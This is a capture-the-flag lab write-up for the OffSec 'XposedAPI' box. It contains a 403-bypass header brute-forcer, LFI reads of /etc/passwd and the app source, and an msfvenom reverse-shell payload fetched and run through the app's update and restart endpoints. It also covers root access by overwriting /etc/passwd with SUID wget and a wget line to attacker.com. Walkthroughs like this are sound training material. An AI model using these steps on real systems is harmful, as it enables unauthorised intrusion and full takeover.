XposedAPI – Offsec Proving Ground Writeup

XposedAPI

This is one box that I found the official walkthrough is a little bit ambiguous after I finished it. The guess work on the request method to trigger the payload is too much of a guess work (maybe just for me :D).

So I present my own write up to clear things up a little.

I don't wanna switch between input methods, so, english only.

Overview

Only two ports are open on the box, 22 and 13337. 22 running standard SSH service, nothing there. 13337 running gunicorn 20.0.4. Visiting the website is going to show a bunch of API endpoint with corresponding usage.

First we discover an LFI. Then through a bunch of sensitive file requests, we successfully obtained the source code of the app and a valid username. Then, use the upload function to upload our reverse shell payload. Then read the source code and trigger the payload to get the shell.

Privilege escalation is straight forward. The first thing you land on a box is to download linPeas.sh to the box, of course, 99.9999% of the time, using wget. When the file is downloaded, you notice that you cannot add execute bit to the file. Checking the files owner would be root. So, wget is an SUID executable. Just search Gtfobins to get root access.

Let's go.

Enumeration

Ports Open 22, 13337

HTTP Port 80

Home Page

PORT      STATE SERVICE REASON         VERSION
13337/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API

Home Page

Foothold

If no authentication, I can upload reverse shell.

/upload endpoint

Got invalid username. Have to find a username first.

➜ XposedAPI curl -v -X POST -d '{"user": "opr", "url": "http://192.168.49.245:22/cleanup"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 58
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:05:10 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 17
<
* Closing connection 0
Invalid username.

Check other endpoints.

/logs

/logs endpoint

Specify X-Forwarded-For: 127.0.0.1 and try.

bypass 403
I have a little script here that can brute force other bypass headers.

Just paste GET request from burpsuite into _HEADERHERE part, and modify host and port down below as needed.

import requests

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def parse_header(header_string):
    raw_hdr_lst = header_string.split('\n')
    raw_hdr_lst = raw_hdr_lst[2:-1]
    hdr_dict = {}
    for idx, hdr in enumerate(raw_hdr_lst):
        key, value = hdr.strip().split(':', 1)
        value = value.strip()
        hdr_dict[key] = value

    return hdr_dict

raw_hdr_str = '''
_HEADER_HERE_
'''

brute_hdrs = '''
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
'''

brute_lst = brute_hdrs.split('\n')
brute_lst = brute_lst[1:-1]

requests.packages.urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
raw_headers = parse_header(raw_hdr_str)

for hdr in brute_lst:
    key, value = hdr.strip().split(':', 1)
    value = value.strip()
    headers = dict(raw_headers)
    headers[key] = value
    print(f'[*]Trying bypass header: "{key}: {value}"...')
    r = requests.get('_HOST_HERE_', headers=headers, proxies=proxies,
    verify=False)

    if r.status_code != 403:
        print(bcolors.OKGREEN + f'[+]Positive bypass header found: {key}: {value}' + bcolors.ENDC)
print(bcolors.FAIL + '[-]No bypass found...' + bcolors.ENDC)

And the response may indicate an LFI.

HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.4
Date: Tue, 24 May 2022 12:07:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 73

Error! No file specified. Use file=/path/to/log/file to access log files.

Specify file as /etc/passwd

Got LFI

Got usernames

root:x:0:0:root:/root:/bin/bash
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh

Now I can upload the malicious payload.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.245 LPORT=22 -f elf -o cleanup
➜ XposedAPI curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/cleanup"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 66
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:10:02 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 81
<
* Closing connection 0
Update requested by clumsyadmin. Restart the software for changes to take effect.

Download request received

Restart the server to trigger the payload as instructed.

➜ XposedAPI curl -v http://192.168.245.134:13337/restart
*   Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> GET /restart HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:10:51 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 563
<
<html>
    <head>
        <title>Remote Service Software Management API</title>
        <script>
            function restart(){
                if(confirm("Do you really want to restart the app?")){
                    var x = new XMLHttpRequest();
                    x.open("POST", document.URL.toString());
                    x.send('{"confirm":"true"}');
                    window.location.assign(window.location.origin.toString());
                }
            }
        </script>
    </head>
    <body>
    <script>restart()</script>
    </body>
* Closing connection 0
</html>

We may have a prompt. Let’s use browser.

Click OK to restart

Click OK.

Not working.

Gunicorn is python app.

Let’s check cmdline first

GET /logs?file=/proc/self/cmdline HTTP/1.1
Host: 192.168.245.134:13337
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

/proc/self/cmdline

No cwd info. Retruned 500 internal server error. Weird.

Get environment var.

GET /logs?file=/proc/self/environ HTTP/1.1
Host: 192.168.245.134:13337
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

So, location of the app is in /home/clumsyadmin/webapp

/proc/self/environ

Let’s get the source code.

curl -H "X-Forwarded-For: 127.0.0.1" http://192.168.245.134:13337/logs?file=/home/clumsyadmin/webapp/main.py -o main.py
#!/usr/bin/env python3
from flask import Flask, jsonify, request, render_template, Response
from Crypto.Hash import MD5
import json, os, binascii
app = Flask(__name__)

@app.route(&#39;/&#39;)
def home():
    return(render_template(&#34;home.html&#34;))

@app.route(&#39;/update&#39;, methods = [&#34;POST&#34;])
def update():
    if request.headers[&#39;Content-Type&#39;] != &#34;application/json&#34;:
        return(&#34;Invalid content type.&#34;)
    else:
        data = json.loads(request.data)
        if data[&#39;user&#39;] != &#34;clumsyadmin&#34;:
            return(&#34;Invalid username.&#34;)
        else:
            os.system(&#34;curl {} -o /home/clumsyadmin/app&#34;.format(data[&#39;url&#39;]))
            return(&#34;Update requested by {}. Restart the software for changes to take effect.&#34;.format(data[&#39;user&#39;]))

@app.route(&#39;/logs&#39;)
def readlogs():
  if request.headers.getlist(&#34;X-Forwarded-For&#34;):
        ip = request.headers.getlist(&#34;X-Forwarded-For&#34;)[0]
  else:
        ip = &#34;1.3.3.7&#34;
  if ip == &#34;localhost&#34; or ip == &#34;127.0.0.1&#34;:
    if request.args.get(&#34;file&#34;) == None:
        return(&#34;Error! No file specified. Use file=/path/to/log/file to access log files.&#34;, 404)
    else:
        data = &#39;&#39;
        with open(request.args.get(&#34;file&#34;), &#39;r&#39;) as f:
            data = f.read()
            f.close()
        return(render_template(&#34;logs.html&#34;, data=data))
  else:
       return(&#34;WAF: Access Denied for this Host.&#34;,403)

@app.route(&#39;/version&#39;)
def version():
    hasher = MD5.new()
    appHash = &#39;&#39;
    with open(&#34;/home/clumsyadmin/app&#34;, &#39;rb&#39;) as f:
        d = f.read()
        hasher.update(d)
        appHash = binascii.hexlify(hasher.digest()).decode()
    return(&#34;1.0.0b{}&#34;.format(appHash))

@app.route(&#39;/restart&#39;, methods = [&#34;GET&#34;, &#34;POST&#34;])
def restart():
    if request.method == &#34;GET&#34;:
        return(render_template(&#34;restart.html&#34;))
    else:
        os.system(&#34;killall app&#34;)
        os.system(&#34;bash -c &#39;/home/clumsyadmin/app&&#39;&#34;)
        return(&#34;Restart Successful.&#34;)

Pay attention to the last part def retart(). When restart, the script is going to execute an executable named app. And, to trigger actual restart, POST method must be used.

Rename payload to app.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.245 LPORT=13337 -f elf -o app

Upload

curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/app"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
➜ XposedAPI curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/app"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 62
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:49:08 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 81
<
* Closing connection 0
Update requested by clumsyadmin. Restart the software for changes to take effect.

Restart app

curl -v -X POST http://192.168.245.134:13337/restart

Got shell

shell as clumsyadmin

PE

I wanna get my nix.sh script to target to do some basic enum. But when I downloaded it, changing it’s permission (+x) failed. Checking the file, its owner is root.

owner is root

Interesting.

wget may have suid set.

Yes it is.

suid wget

Just root with overwriting the /etc/passwd file.

sudo install -m =xs $(which wget) .

URL=http://attacker.com/file_to_get
LFILE=file_to_save
./wget $URL -O $LFILE

Let’s add a user to passwd, and download to /etc/passwd to overwrite.

New passwd.

...
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
woohoo:SwxWnKXXeF1gs:0:0:root:/root:/bin/sh

Download it.

wget 192.168.49.245:22/passwd -O /etc/passwd

Overwrited /etc/passwd

That’s it. The logic to trigger the payload is the beauty of this box.
Hope it helps.

Keep calm and hack away…